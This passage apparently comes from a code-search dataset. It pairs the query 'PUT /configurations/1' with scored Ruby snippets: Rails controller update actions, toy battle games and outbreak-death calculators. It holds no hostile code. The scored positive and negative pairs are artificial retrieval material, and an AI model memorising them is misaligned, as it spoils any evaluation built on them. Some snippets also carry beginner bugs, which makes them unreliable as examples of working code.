efieldmonsters.push(x)\n end\n }\n if efieldmonsters.empty? == true\t\n puts \"There are no enemy monsters to battle\".red\n return\n end\n puts \"What monster do you choose?\"\n fieldmonsters.each {|x| puts x[:name]}\n response1 = gets.to_i\n response1 -= 1\n puts \"You have selected #{@@monsterfield[response1][:name]}\"\n puts \"What monster do you want to battle?\"\n efieldmonsters.each {|x| puts x[:name]}\n response2 = gets.to_i\n response2 -= 1\n answer = @@monsterfield[response1][:atk] - @@emonsterfield[response2][:atk]\n puts answer\n if answer < 0\n puts \"Your monster lost the battle\"\n $file.puts(\"#{@@name} loss a battle against #{@@ename}\")\n end\n if answer == 0\n puts \"Draw\"\n @@graveyard.push(@@monsterfield[response1])\n @@monsterfield.delete(@@monsterfield[response1])\n @@egraveyard.push(@@emonsterfield[response2])\n @@emonsterfield.delete(@@emonsterfield[response2])\n $file.puts(\"#{@@name} drew in a battle against #{@@ename}\")\n end\n if answer > 0\n puts \"Your monster won the battle\"\n $file.puts(\"#{@@name} won a battle against #{@@ename}\")\n decreaselp('enemy', answer)\n end\nend", "title": "" }, { "docid": "932d6dc011f516d99548a087be12f6ca", "score": "0.56796694", "text": "def determine_word_of_god(god_data)\n\tcase god_data\n\twhen 1\n\t\t:yes\n\twhen 2\n\t\t:no\n\telse\n\t\t:unknown\n\tend\nend", "title": "" }, { "docid": "e6040bf125e16a45db8ff4b56729cf4d", "score": "0.56793934", "text": "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n print \"#{@state} will lose #{(@population * 0.4).floor} people in this outbreak\"\n elsif @population_density >= 150\n print \"#{@state} will lose #{(@population * 0.3).floor} people in this outbreak\"\n elsif @population_density >= 100\n print \"#{@state} will lose #{(@population * 0.2).floor} people in this outbreak\"\n elsif @population_density >= 50\n print \"#{@state} will lose #{(@population * 0.1).floor} people in this outbreak\"\n else\n print \"#{@state} will lose #{(@population * 0.05).floor} people in this outbreak\"\n end\n\n end", "title": "" }, { "docid": "93670479ca68db8b5db2a66f4df8470d", "score": "0.5679284", "text": "def fight_scene\n\tjason = PowerRanger.new(\"Jason\", \"Red\")\n\ttommy = PowerRanger.new(\"tommy\", \"Green\")\n\tjon = Person.new(\"Jon\")\n\thoward = Person.new(\"Howard\")\n\tevilGuy_a = EvilNinja.new(\"Evil Guy 1\")\n\tevilGuy_b = EvilNinja.new(\"Evil Guy 2\")\n\n\tputs \"Two innocent bystanders are attacked by evil ninjas.\"\n\tjon.scream\n\thoward.scream\n\tjon.run\n\thoward.drink_coffee\n\thoward.run\n\n\tputs \"The Power Rangers arrive!\"\n\tjason.punch(evilGuy_a)\n\ttommy.punch(evilGuy_b)\n\tjason.rest(2)\n\ttommy.drink_coffee\n\n\tputs \"The Evil Ninjas fight back.\"\n\tevilGuy_a.punch(tommy)\n\tevilGuy_b.punch(tommy)\n\tevilGuy_a.cause_mayhem(jason)\n\n\tputs \"The Power Rangers try Megazord\"\n\tjason.use_megazord(evilGuy_a)\n\tevilGuy_a.punch(jason)\n\n\tputs \"Cmon Tommy!\"\n\ttommy.use_megazord(evilGuy_a)\n\ttommy.drink_coffee(10)\n\ttommy.use_megazord(evilGuy_b)\n\n\tputs \"Did the Power Rangers save the day?\"\n\n\tninja_array = [evilGuy_a, evilGuy_b]\n\twin = \"yes\"\n\n\tninja_array.each do |ninja|\n\t\t# p ninja.show_caffeine_level\n\t\tif ninja.caffeine_level > 0\n\t\t\twin = \"no\"\n\t\tend\n\tend\n\n\tif win == \"yes\"\n\t\tputs \"Yes!\"\n\telse\n\t\tputs \"No :(.\"\n\tend\n\nend", "title": "" }, { "docid": "15fdcfb3d1b2817eda30a59d87d2c34f", "score": "0.5678337", "text": "def monsterfight(user, monster, mAtk, enemy)\n\n#make a loop with a boolean value. The loop will keep running unless somebody's health goes to zero or \n#the user runs away\n\n\tenemy['name'] = monster.sample\n\tcombat = true\n\n\tif enemy['name'] == 'Mutated Octopus'\n\t\tenemy['hp'] = 7\n\t\tenemy['atkSpd'] = 6\n\t\tenemy['armor'] = 1\n\n\telsif enemy['name'] == 'Sabertooth Goldfish'\n\t\tenemy['hp'] = 6\n\t\tenemy['atkSpd'] = 5\n\t\tenemy['armor'] = 1\n\n\telsif enemy ['name'] == 'Lady Gaga'\n\t\tenemy['hp'] = 8\n\t\tenemy['atkSpd'] = 8\n\t\tenemy['armor'] = 1\n\n\telsif enemy ['name'] == 'Hannah Montana'\n\t\tenemy['hp'] = 10\n\t\tenemy['atkSpd'] = 10\n\t\tenemy['armor'] = 1\n\tend\n\n\tputs ''\n\n# choosing the random attack of the monster. no need to push into a hash\n\tdef monsterAttack(user, mAtk, enemy)\n\t\trandAttack = mAtk.sample\n\n\t\tif randAttack == 'Slap'\n\t\t\tmonsterDmg = 1\n\t\t\tuser['health'] -= 1\n\n\t\telsif randAttack == 'Bite'\n\t\t\tmonsterDmg = 2\n\t\t\tuser['health'] -= 1\n\n\t\telsif randAttack == 'Eyepoke'\n\t\t\tmonsterDmg = 3\n\t\t\tuser['health'] -= 1\n\t\tend\n\n\t\tputs \"You get hit by #{enemy['name']} for #{monsterDmg}. Your health is now #{user['health']}\"\n\t\t\n\tend\n\n\tdef heroAttack(user, enemy)\n\n\t\theroAttack = user['weapon']\n\n\t\tif heroAttack == 'Sword'\n\t\t\thitDmg = rand(2...5)\n\t\t\tenemy['hp'] -= hitDmg\n\n\t\telsif heroAttack == 'Spear'\n\t\t\thitDmg = rand(1...6)\n\t\t\tenemy['hp'] -= hitDmg\n\n\t\telsif heroAttack == 'Axe'\n\t\t\thitDmg = rand(3...4)\n\t\t\tenemy['hp'] -= hitDmg\n\t\tend\n\t\t\n\t\tputs \"You hit the #{enemy['name']} for #{hitDmg}. Their health is now #{enemy['hp']}\"\n\tend\n\n\tputs \"A wild #{enemy['name']} has appeared. Do you choose to fight or run? (enter 'fight' or 'run')\"\n\n\tchoice = gets.chomp.downcase\n\n\twhile (user['health'] > 0 && enemy['hp'] > 0 && combat == true)\n\n\t\tif choice == 'fight'\n\t\t\tputs 'Alright lets do this!'\n\t\t\tmonsterAttack(user, mAtk, enemy)\n\t\t\theroAttack(user, enemy)\n\n\t\telsif choice == 'run'\n\t\t\tputs 'You attempt to escape'\n\n\t\telsif choice != 'fight' || choice != 'run' \n\t\t\tputs 'Please enter \"fight\" or \"run\"'\n\t\t\tchoice = gets.chomp.downcase\n\t\tend\n\n\t\tif enemy['hp'] > 0 && user['health']\n\t\t\tputs \"Continue fighting? (fight or run)\"\n\t\t\tchoice = gets.chomp.downcase\n\n\t\telsif enemy['hp'] <= 0\n\t\t\tputs \"You have killed #{enemy['name']}\"\n\t\t\tcombat == false\n\n\t\telsif user['health'] <= 0\n\t\t\tputs \"You have died\"\n\t\t\tcombat == false\n\t\tend\n\tend\n\nend", "title": "" }, { "docid": "e12768c0231d0750bdae0fd5e6380437", "score": "0.56755793", "text": "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n case @population_density\r\n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\r\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\r\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\r\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\r\n else number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print “#{@state} will lose #{number_of_deaths} people in this outbreak”\r\n\r\n end", "title": "" }, { "docid": "c0d439c284e4a77f71b993228c724688", "score": "0.5670224", "text": "def hit_or_miss (guess)\n\t\tguess === \"hit\"? \"X\" : \"0\";\n\tend", "title": "" }, { "docid": "2696248b33208ab3145c82b4a6ec27f1", "score": "0.5669085", "text": "def check_faint\n if $PokemonGlobal.surfing==true || $PokemonGlobal.bicycle==true\n else\n if $Trainer.party[0].hp<=0 \n $game_variables[Current_Following_Variable]=0 \n remove_sprite\n elsif $Trainer.party[0].hp>0 && !$Trainer.party[0].egg?\n end \n end\nend", "title": "" }, { "docid": "838912f112cba5b30bc4ea6d7673f700", "score": "0.5662089", "text": "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n number_of_deaths = case @population_density\r\n when 151...200 then (@population * 0.3).floor\r\n when 101...150 then (@population * 0.2).floor\r\n when 51...100 then (@population * 0.1).floor\r\n when 0...50 then (@population * 0.05).floor\r\n else (@population * 0.4).floor\r\n end \r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "title": "" }, { "docid": "67448581f4a91c0ea71f1c50ec095a20", "score": "0.56619424", "text": "def attacks(player)\n \tputs \"Le joueur #{@name} attaque le joueur #{player.name}.\"\n # On récupère le nombre de points de dommage correspondant au lancer de dé via la méthode compute_damage\n damage_points = compute_damage\n puts \"Il lui inflige #{damage_points} points de dommage.\"\n # Ces points de dommage sont infligés à player. Si player n'a plus de points de vie, le programme affiche qu'il est mort.\n player.get_damage(damage_points)\n end", "title": "" } ]
cc3ce3a804b74a9f7dd06945d8dfb080
PUT /configurations/1 PUT /configurations/1.xml
[ { "docid": "f81f8756a0e49f6babcc6126b4857186", "score": "0.63921577", "text": "def update\n @configuration = Configuration.find_by_id(params[:id])\n\n respond_to do |format|\n if @configuration.update_attributes(params[:configuration])\n flash[:notice] = t('configuration.updated')\n format.html { redirect_to :action => 'index' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @configuration.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "dfb3ec56f82323f887ee5ca50f8460cd", "score": "0.68589556", "text": "def update_configuration(xml, options = {})\n client = extract_client!(options)\n\n # The Artifactory api requires a content type of 'application/xml'.\n # See http://bit.ly/1l2IvZY\n headers = { \"Content-Type\" => \"application/xml\" }\n client.post(\"/api/system/configuration\", xml, headers)\n end", "title": "" }, { "docid": "069e868e4132e98279cb7e3cb5586c76", "score": "0.648647", "text": "def update(config=nil)\n @config = config if !config.nil?\n response = send_xml_post_request(@xml_api_config_path, @config)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "title": "" }, { "docid": "970e7f1c33ef1b40ee8ae192a6448d08", "score": "0.63550365", "text": "def update(config=nil)\n @config = config if !config.nil?\n response = send_xml_post_request(@xml_api_config_path, @config)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "title": "" }, { "docid": "3b0be90cca6654741eb3ed9f24156ad0", "score": "0.634835", "text": "def update\n @configuration = current_host.configuration_parameters.find(params[:id])\n\n respond_to do |format|\n if @configuration.update_attributes(params[:configuration])\n flash[:notice] = 'hostConfiguration was successfully updated.'\n format.html { redirect_to host_url(current_host) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @configuration.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "832c43982beff3fe02a324766068eb16", "score": "0.62128377", "text": "def update\n respond_to do |format|\n if @configuration.update_attributes(params[:configuration])\n flash[:notice] = 'Configuration was successfully updated.'\n format.html { redirect_to(@configuration) }\n format.xml { head :ok }\n else\n logger.error @configuration.errors.full_messages.join('; ')\n flash[:error] = 'Error updating configuration: '\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @configuration.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78a8edf24ea2c984c02f497ded46c233", "score": "0.6120925", "text": "def update\n @node_config = NodeConfig.find(params[:id])\n\n respond_to do |format|\n if @node_config.update_attributes(params[:node_config])\n format.html { redirect_to(@node_config, :notice => 'NodeConfig was successfully updated.') }\n format.json { render :json => @node_config, :status => :ok }\n format.xml { render :xml => @node_config, :status => :ok }\n else\n format.xml { render :xml => @node_config.errors, :status => :unprocessable_entity }\n format.any { render :json => @node_config.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac4941879c5813c0820a13d824476b9f", "score": "0.60186565", "text": "def update\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n if @app_config.update_attributes(params[:app_config])\n format.html { redirect_to @app_config, notice: 'App config was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a0b32f56620fbefd1fda8be17f2d66c", "score": "0.5954157", "text": "def update\n authorize! :update, @concerto_config\n params[:concerto_config].each do |k,v|\n ConcertoConfig.set(k,v) #only set this if the config already exists\n end\n redirect_to :action => :index\n end", "title": "" }, { "docid": "ede4b6b2dc8e72d2da1ed0752590fa04", "score": "0.59369624", "text": "def update\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.save!\n\n respond_to do |format|\n if @config_xml.update_attributes(params[:config_xml])\n flash[:notice] = 'ConfigXml was successfully updated.'\n format.html { redirect_to(@config_xml) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @config_xml.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "title": "" }, { "docid": "7c38fa6eacea155d54bff579601eb844", "score": "0.5930326", "text": "def update\n respond_to do |format|\n if @app_config.update(app_config_params)\n format.html { redirect_to @app_config, notice: 'App config was successfully updated.' }\n format.json { render :show, status: :ok, location: @app_config }\n else\n format.html { render :edit }\n format.json { render json: @app_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95e34516960f618dca1ee5f5eadbf2fd", "score": "0.59279746", "text": "def update\n respond_to do |format|\n if @config.update(config_params)\n format.html { redirect_to @config, notice: \"Config was successfully updated.\" }\n format.json { render :show, status: :ok, location: @config }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "635e309c331206acbbbf51717b6d67ab", "score": "0.58928984", "text": "def update\n @configure = Configure.find(params[:id])\n\n respond_to do |format|\n if @configure.update_attributes(params[:configure])\n format.html { redirect_to @configure, notice: 'Configure was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @configure.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32a849d831315aadce17eaca7dc81393", "score": "0.5838129", "text": "def update\n @config_file = ConfigFile.find(params[:id])\n\n respond_to do |format|\n if @config_file.update_attributes(params[:config_file])\n flash[:notice] = 'ConfigFile was successfully updated.'\n format.html { redirect_to(@config_file) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @config_file.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "41d9eed0c5a7610a96394eb508ae2165", "score": "0.579397", "text": "def update\n @my_configuration = MyConfiguration.find(params[:id])\n\n respond_to do |format|\n if @my_configuration.update_attributes(params[:my_configuration])\n format.html { redirect_to @my_configuration, notice: 'My configuration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_configuration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc212e2aa30821511d18ab9f8522932e", "score": "0.57800806", "text": "def update\n @app_config = AppConfig.find(params[:id])\n\n respond_to do |format|\n if @app_config.update_attributes(params[:app_config])\n format.html {\n flash.now[:notice] = \"更新しました。\"\n render :action => \"edit\" \n #redirect_to(@app_config, :notice => 'App config was successfully updated.') \n }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app_config.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4b740b5d63ea80a2428392fb2a33b60f", "score": "0.5774713", "text": "def update\n\t\trespond_to do |format|\n\t\t\tif @api_configuration.update(api_configuration_params)\n\t\t\t\tformat.html { redirect_to api_configurations_path, notice: 'Api configuration was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @api_configuration }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @api_configuration.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "c2c0b673628fdc28b181d18c0afd2d5b", "score": "0.5764313", "text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "title": "" }, { "docid": "cb1d198be20dcda3b4eb63d92bef9b1f", "score": "0.576084", "text": "def update\n respond_to do |format|\n if @configuration_file.update(configuration_file_params)\n format.html { redirect_to @configuration_file, notice: 'Configuration file was successfully updated.' }\n format.json { render :show, status: :ok, location: @configuration_file }\n else\n format.html { render :edit }\n format.json { render json: @configuration_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf9ea81d91aa19ba1662b0a38ff98224", "score": "0.5747604", "text": "def post_config(url_prefix, xml)\n url_prefix = URI.escape(\"#{@jenkins_path}#{url_prefix}\")\n http = Net::HTTP.start(@server_ip, @server_port)\n request = Net::HTTP::Post.new(\"#{url_prefix}\")\n puts \"[INFO] PUT #{url_prefix}\" if @debug\n request.basic_auth @username, @password\n request.body = xml\n request.content_type = 'application/xml'\n response = http.request(request)\n response.code\n end", "title": "" }, { "docid": "03b496184b5ac13796f4ae3e8863294e", "score": "0.5740299", "text": "def update\n @system_configuration = SystemConfiguration.find(params[:id])\n\n respond_to do |format|\n if @system_configuration.update_attributes(params[:system_configuration])\n format.html { redirect_to @system_configuration, notice: 'System configuration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @system_configuration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "206a64606b8c5eba54a4c3a9fea347ce", "score": "0.5724837", "text": "def update\n respond_to do |format|\n if @config_element.update(config_element_params)\n format.html { redirect_to @config_element, notice: 'Config element was successfully updated.' }\n format.json { render :show, status: :ok, location: @config_element }\n else\n format.html { render :edit }\n format.json { render json: @config_element.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d7ed662648472040eb641d63308b88e", "score": "0.57144606", "text": "def update\n @config_file = ConfigFile.find(params[:id])\n\n respond_to do |format|\n if @config_file.update_attributes(params[:config_file])\n format.html { redirect_to @config_file, notice: 'Config file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @config_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4aadce0fb8fc9e3f86326208f902b787", "score": "0.5697757", "text": "def update\n respond_to do |format|\n if @api_config.update(api_config_params)\n format.html { redirect_to @api_config, notice: 'Api config was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_config }\n else\n format.html { render :edit }\n format.json { render json: @api_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ebb24b030e6468a26a22184d2698b3a5", "score": "0.56523556", "text": "def put_config config = { 'room' => [ { 'name' => 'default-room', 'device' => [ 'light' => { 'name' => 'default-device' } ] } ] }\n File.open( self.get_config_file, 'w' ) do | handle |\n handle.write YAML.dump( config )\n end\n self.get_config_file\n end", "title": "" }, { "docid": "30470cc0b69a7d3a9cd8f66f6add5d1c", "score": "0.56512713", "text": "def update_configs!(config_params)\n config_params.each do |config|\n value = config[1].to_s\n #find the config\n configuration = UniversalAr::Configuration.find(config[0])\n if !configuration.nil?\n configuration.create_or_update_config(self, config[1])\n end\n end\n end", "title": "" }, { "docid": "e631b376ae2ccb776680432bf94b01cc", "score": "0.5637197", "text": "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "title": "" }, { "docid": "43e4d17d8584359f73d9a3d01ee6f0ea", "score": "0.5626377", "text": "def update\n @system_config = SystemConfig.find(params[:id])\n\n respond_to do |format|\n if @system_config.update_attributes(params[:system_config])\n format.html { redirect_to system_configs_url, :notice => 'System config was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @system_config.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "559eb4864c553d2052c87ac19d5c43b0", "score": "0.56145227", "text": "def put_configuration\n\n return if get('configurations', 'engine')\n\n put({ '_id' => 'engine', 'type' => 'configurations' }.merge(@options))\n end", "title": "" }, { "docid": "6830eec5d1a72159928076e701f02518", "score": "0.5613003", "text": "def config_update( name )\n @ndev_res.update name\n @@netdev.edit_config( @ndev_res, \"xml\" )\n end", "title": "" }, { "docid": "4d1907aae0195b827402e93ecad75312", "score": "0.5587779", "text": "def update\n respond_to do |format|\n if @conf.update(conf_params)\n format.html { redirect_to @conf, notice: 'Conf was successfully updated.' }\n format.json { render :show, status: :ok, location: @conf }\n else\n format.html { render :edit }\n format.json { render json: @conf.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4d1907aae0195b827402e93ecad75312", "score": "0.55871516", "text": "def update\n respond_to do |format|\n if @conf.update(conf_params)\n format.html { redirect_to @conf, notice: 'Conf was successfully updated.' }\n format.json { render :show, status: :ok, location: @conf }\n else\n format.html { render :edit }\n format.json { render json: @conf.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "77334f76933f8071d6d8bf8cc0b8b0b7", "score": "0.5581698", "text": "def update\n @configuration = Configuration.instance\n keep_audit_logs = @configuration.keep_audit_logs \n respond_to do |format|\n if @configuration.update_attributes(params[:configuration]) or not @configuration.dirty?\n\n # reconfigure audit logging if changed\n if keep_audit_logs != @configuration.keep_audit_logs \n AuditConfig.reconfigure(Configuration.instance.keep_audit_logs, \n Rails.root.join('log').to_s + '/audit.log')\n end\n\n flash[:notice] = 'Configuration was successfully updated.'\n format.html { redirect_to(configuration_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @configuration.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f94bb51daafd94a2b8cd53ea89dbbc87", "score": "0.55785197", "text": "def update_config_xml_File\n Puppet.alert(\" begin: update_config_xml_File \")\n file_name = get_value4key(\"ps_config_home\", resource[:web_location_attrib]) + \"/webserv/\"\n file_name += get_value4key(\"webdomainname\", resource[:webdomain_attrib]) + \"/config/config.xml\"\n text = File.read(file_name)\n ##new_contents = text.gsub(/listen-port>443/, \"listen-port>\" + get_value4key(\"webadminserverhttps\", resource[:webadmin_server_attrib] ) )\n new_contents1 = text.gsub(/9999/, get_value4key(\"webadminserverhttp\", resource[:webadmin_server_attrib] ) )\n\n File.open(file_name, \"w\") {|file| file.puts new_contents1 }\n Puppet.alert(\" end : update_config_xml_File \")\n end", "title": "" }, { "docid": "b4dba7720a46dd6cfbc52d0e6ed580f9", "score": "0.5576474", "text": "def update\n @conf = Conf.find(params[:id])\n\n respond_to do |format|\n if @conf.update_attributes(params[:conf])\n format.html { redirect_to @conf, notice: 'Conf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conf.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "90e0cd5bfce20d22514f67dadba7be7f", "score": "0.5573265", "text": "def update\n respond_to do |format|\n if @sys_config.update(sys_config_params)\n format.html { redirect_to root_path, notice: 'Configuration was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "92bf7d064152c807d031c705f6d0d9d0", "score": "0.556861", "text": "def sync_configuration\n end", "title": "" }, { "docid": "3f96aff21b177fb98037666789d34621", "score": "0.5565542", "text": "def update\r\n @mainconfig = Mainconfig.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @mainconfig.update_attributes(params[:mainconfig])\r\n format.html { redirect_to(niveaus_path) }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @mainconfig.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "8cd9961652a0cfaf50bd51f435576244", "score": "0.5529985", "text": "def configure(params)\n request(Resources::RESOURCE_CONFIGURE, HTTP_METHOD_POST, params)\n end", "title": "" }, { "docid": "a5f19e64f1bb6b9381a63974f3381b78", "score": "0.5528251", "text": "def set_configuration_file\n @configuration_file = ConfigurationFile.find(params[:id])\n end", "title": "" }, { "docid": "0531422bcf5d39bf43e72834f8d6974e", "score": "0.55253136", "text": "def update\n @sysconfig = Sysconfig.find(params[:id])\n\n respond_to do |format|\n if @sysconfig.update_attributes(params[:sysconfig])\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3fe344fcef3ba8a80155de4b1b7adaa4", "score": "0.5518703", "text": "def set_config\n @config = AppConfig.find(params[:id])\n end", "title": "" }, { "docid": "7780e3e0bf40b037da86596984c9f328", "score": "0.5515149", "text": "def update\n @site_config = SiteConfig.find(params[:id])\n\n respond_to do |format|\n if @site_config.update_attributes(site_config_params)\n format.html { redirect_to @site_config, notice: 'Site config was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @site_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3b6d4c76b18c9796063db93fdedcb523", "score": "0.5511527", "text": "def update\n if @event_configurations.update(event_configuration_params)\n render json: @event_configurations.to_json, status: :ok\n else\n render json: @event_configurations.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "437c3d74663b2f35753f15cf559bc4e3", "score": "0.5505001", "text": "def config\n respond_to { |format| format.xml }\n end", "title": "" }, { "docid": "de8272dd2eec427e1958c3773f8a5c73", "score": "0.54843724", "text": "def update!(**args)\n @configs = args[:configs] if args.key?(:configs)\n end", "title": "" }, { "docid": "c3554fa58826a69cf393769ee48b7aea", "score": "0.5481859", "text": "def update\n respond_to do |format|\n if @kernel_config.update(kernel_config_params)\n format.html { redirect_to @kernel_config, notice: \"Kernel config was successfully updated.\" }\n format.json { render :show, status: :ok, location: @kernel_config }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @kernel_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cd7aa4c7e8660a679890634b06b60680", "score": "0.5456086", "text": "def update\n @configuration.user_id = current_user.id\n respond_to do |format|\n if @configuration.update(configuration_params)\n format.html { redirect_to @configuration, notice: 'Configuration was successfully updated.' }\n format.json { render :show, status: :ok, location: @configuration }\n else\n format.html { render :edit }\n format.json { render json: @configuration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a4013e5ee70d560ef2a6cf32531b45d", "score": "0.5455476", "text": "def update\r\n respond_to do |format|\r\n if @site_config.update(site_config_params)\r\n format.html { redirect_to action: :index, notice: t('Site config was successfully updated.') }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @site_config.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "70098bcf5b2cc826650a16d2cb9b1032", "score": "0.54497087", "text": "def update\n respond_to do |format|\n if @jenkins_app_config.update(jenkins_app_config_params)\n format.html { redirect_to @jenkins_app_config, notice: 'Jenkins app config was successfully updated.' }\n format.json { render :show, status: :ok, location: @jenkins_app_config }\n else\n format.html { render :edit }\n format.json { render json: @jenkins_app_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "559781efaf4fe20999ec22e4a208a582", "score": "0.5447956", "text": "def update\n\n respond_to do |format|\n if @sys_config.update_attributes(params[:sys_config])\n flash[:notice] = 'SysConfig was successfully updated.'\n format.html { redirect_to user_system_sys_configs_path(@user, @system) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sys_config.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "94e7ca714b3fa9370ddfd67cdefc6141", "score": "0.5440124", "text": "def update\n respond_to do |format|\n if @system_config.update(system_config_params)\n format.html { redirect_to system_configs_path, notice: \"#{@system_config.description} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @system_config.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ae87113e3998bdddab2263d838185512", "score": "0.54394466", "text": "def set_config_element\n @config_element = ConfigElement.find(params[:id])\n end", "title": "" }, { "docid": "3871538cc9f28777c427614f04589ece", "score": "0.54291594", "text": "def update\n respond_to do |format|\n if @sysconfig.update(sysconfig_params)\n format.html { redirect_to @sysconfig, notice: 'Sysconfig was successfully updated.' }\n format.json { render :show, status: :ok, location: @sysconfig }\n else\n format.html { render :edit }\n format.json { render json: @sysconfig.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3f94d7d75601f75f7197a275eae3422", "score": "0.54237896", "text": "def update\n @konfig = Konfig.find(params[:id])\n\n respond_to do |format|\n if @konfig.update_attributes(params[:konfig])\n format.html { redirect_to admin_konfig_path(@konfig), notice: 'Config was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @konfig.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "757bd8dfbc5fa43d6ae495068661ae6a", "score": "0.54211044", "text": "def update\n @configuracion = Configuracion.find(params[:id])\n\n respond_to do |format|\n if @configuracion.update_attributes(params[:configuracion])\n flash[:notice] = 'Configuracion was successfully updated.'\n format.html { redirect_to(@configuracion) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @configuracion.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0befc0ab6efe17dba5cb5ceb2876a9c3", "score": "0.54188454", "text": "def update\n respond_to do |format|\n if @task_config.update(task_config_params)\n format.html { 